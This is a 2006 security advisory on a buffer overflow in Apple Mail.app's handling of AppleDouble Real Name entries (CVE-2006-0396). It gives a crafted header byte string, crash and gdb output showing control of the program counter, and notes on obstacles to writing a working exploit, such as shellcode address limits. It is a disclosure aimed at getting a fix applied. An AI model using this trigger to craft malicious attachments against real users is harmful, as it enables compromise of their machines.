DMA[2006-0313a] - 'Apple OSX Mail.app RFC1740 Real Name Buffer Overflow'
Author: Kevin Finisterre
Vendor: http://www.apple.com/macosx/
Product: 'Mac OSX 10.4.5 with Security Update 2006-001'
References: 
http://www.digitalmunition.com/DMA[2006-0313a].txt
http://rfc.net/rfc1740.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0396

Description: 
Security Update 2006-001 for Mac OS X included a fix for the Download Validation component of
Mail.app. Download Validation is used to warn the user if the file type is not "safe". Prior 
to 2006-001 certain techniques could be used to disguise a file's type so that the validation 
was bypassed. Unfortunately in the process of patching the previous problem a new one was 
introduced. 

After applying Security Update 2006-001 Mail.app becomes vulnerable to a buffer overflow that
may be triggered via a properly formatted MIME Encapsuled Macintosh file. Sending a file in 
the AppleDouble format with a long Real Name entry will invoke the overflow. Reading through 
RFC1740 should provide enough information to trigger the issue. The overflow is triggered 
by the file that contains the AppleDouble header information. 

The format of the header we need to send is as follows: 

[4 byte magic num][4 byte version num][16 bytes of filler][2 byte num of entries][Entry...]
Entry descriptor for each Entry:
[4 byte entry id][4 byte offset][4 byte length]

Using the above layout we come up with the following code snippet for our exploit. 

"\x00\x05\x16\x07".     # AppleDouble Magic Number
"\x00\x02\x00\x00".     # Version 2
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00".  # 16 Bytes of filler
"\x00\x03\x00\x00".     # Number of entries (3)
"\x00\x09\x00\x00".     # Entry ID 9 is for 'Finder Info'
"\x00\x3e\x00\x00".     # Start of Finder Info data is at file offset 0x3e
"\x00\x0a\x00\x00".     # Length of Finder Info is 0x0a or 10
"\x00\x03\x00\x00".     # Entry ID 3 is for 'Real Name'
"\x00\x48\x00\x00".     # Start of Real Name data is at file offset 0x48
"\x00\xf5\x00\x00".     # Length of Real Name is 0xf5 or 245
"\x00\x02\x00\x00".     # Entry ID 2 is for 'Resource Fork'
"\x01\x3d\x00\x00".     # Start of Resource Fork is at file offset 0x013d
"\x05\x3a\x00\x00".     # Length of Resource fork is 0x053a
"\x00\x00\x00\x00".     # <null> filler
"\x00\x00\x00\x00".     # <null> filler
"A" x 226 . "$retaddr" x 3 . "zzz.mov." . # remember this length is hard coded above.
...

If a message with the above header arrived in your inbox on Mail.app you would see only the
first 11 characters of the name provided by the Real Name entry. In this particular case you 
see "AAAAAAAAAAA...mov" . Other examples could be "SuperTastey...mov" or NakedChicks...mov" .
The visual aspects of the (...) are surprisingly not that suspicious. 

Upon double clicking the attached file on the arrived email the following dump is created. 

Date/Time:      2006-03-04 10:35:32.472 -0500
OS Version:     10.4.5 (Build 8H14)
Report Version: 4

Command: Mail
Path:    /Applications/Mail.app/Contents/MacOS/Mail
Parent:  WindowServer [64]

Version:        2.0.7 (746.2)
Build Version:  1
Project Name:   MailViewer
Source Version: 7460200

PID:    271
Thread: 0

Exception:  EXC_BAD_ACCESS (0x0001)
Codes:      KERN_INVALID_ADDRESS (0x0001) at 0x41414140

If we take a look at this in gdb we can see that several things are overwirtten. 
(gdb) bt
#0  0x41424344 in ?? ()
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313131
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
#1  0x41424344 in ?? ()
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313131
warning: Previous frame identical to this frame (corrupt stack?)
Cannot access memory at address 0x41424344
Cannot access memory at address 0x41424344
Cannot access memory at address 0x31313139

We control r0, pc, lr and half of r31. 
(gdb) i r $r0 $pc $lr $r31
r0             0x41424344       1094861636
pc             0x41424344       1094861636
lr             0x41424344       1094861636
r31            0x18b3030        25899056

Exploitation of this issue seems possible however there are currently some limitations 
with regard to what can and can not be done. 

The first issue involves previous exploitation attempts and the temporary files left 
behind by such attempts. 

k-fs-ibook:~ test$  ls -al /var/tmp/folders.502/TemporaryItems/ ~/Library/Mail\ Downloads/
/Users/test/Library/Mail Downloads/:
total 352
drwx------    7 test  admin    238 Mar 13 22:42 .
drwx------   23 test  admin    782 Mar 12 15:52 ..
drwx------    3 test  admin    102 Mar 13 22:42 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa0000
11112222ABCD3333zzz.mov.mailhold

/var/tmp/folders.502/TemporaryItems/:
total 352
drwxr-xr-x   4 test  wheel    136 Mar 13 22:38 .
drwx------   3 test  wheel    102 Mar 12 10:35 ..
-rwxr-xr-x   1 test  wheel  90000 Mar 13 22:44 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00001
1112222ABCD3333zzz.mov.mov

The existance of a particular temporary file can halt the actions of an exploit attempting 
to take advantage of this issue. While developing an exploit keeping the two folders shown 
above clean is critical! The temporary files appear to be created during the process of 
previewing a message. In some cases they may not be created due to failed mkstemp() calls. 

The next issue centers around the fact that RFC1740 states that the Real Name entry can 
only contain 7bit printable ascii, using shellcode addresses with 0xff and 0xbf will not
be possible because of this. This obviously eliminates alot of easy shellcode addresses 
unfortunately. 

0xbfffe6e1:      "Users/test/Library/Mail Downloads/", 'a' <repeats 166 times>...
0xbfffe7a9:      'a' <repeats 52 times>, "00\032ÿø"

Code in other areas seems to be either in an unreliable location or in a unicode format. 
I am really not in the mood to hunt around memory for a stable address but I am sure that
something could be put together to exploit this. 

Here is an example of the Unicode strings that can be found in memory at random places. 
(gdb) x/30a $r29
0x18b8a00:      0xa28e6424      0x12100000      0x2f0055        0x730065
0x18b8a10:      0x720073        0x2f0074        0x650073        0x74002f
0x18b8a20:      0x4c0069        0x620072        0x610072        0x79002f
0x18b8a30:      0x4d0061        0x69006c        0x200044        0x6f0077
0x18b8a40:      0x6e006c        0x6f0061        0x640073        0x2f0061
0x18b8a50:      0x610061        0x610061        0x610061        0x610061
0x18b8a60:      0x610061        0x610061        0x610061        0x610061
0x18b8a70:      0x610061        0x610061

On x86 the Unicode *may* not be a problem however I do not have access to an intel based
mac so I can not confirm this. On PowerPC however for the time being there is not much 
I can do on the Unicode front. I am not aware of any Venetian style PowerPC lovin at the 
moment. 

For the time being my exploitation has not gone beyond what I have documented here. Beyond 
the few hurdles I have outlined may lie a few more, but who knows? Good luck. 

Work Around: 
Install 2006-002 update or simply do not open attachments in Mail.app  
http://www.apple.com/support/downloads/

Sidenote:
Much thanks to Apple for the quick turnaround time and prompt weekend responses! A same
day response and 9 day turn around is hard to beat.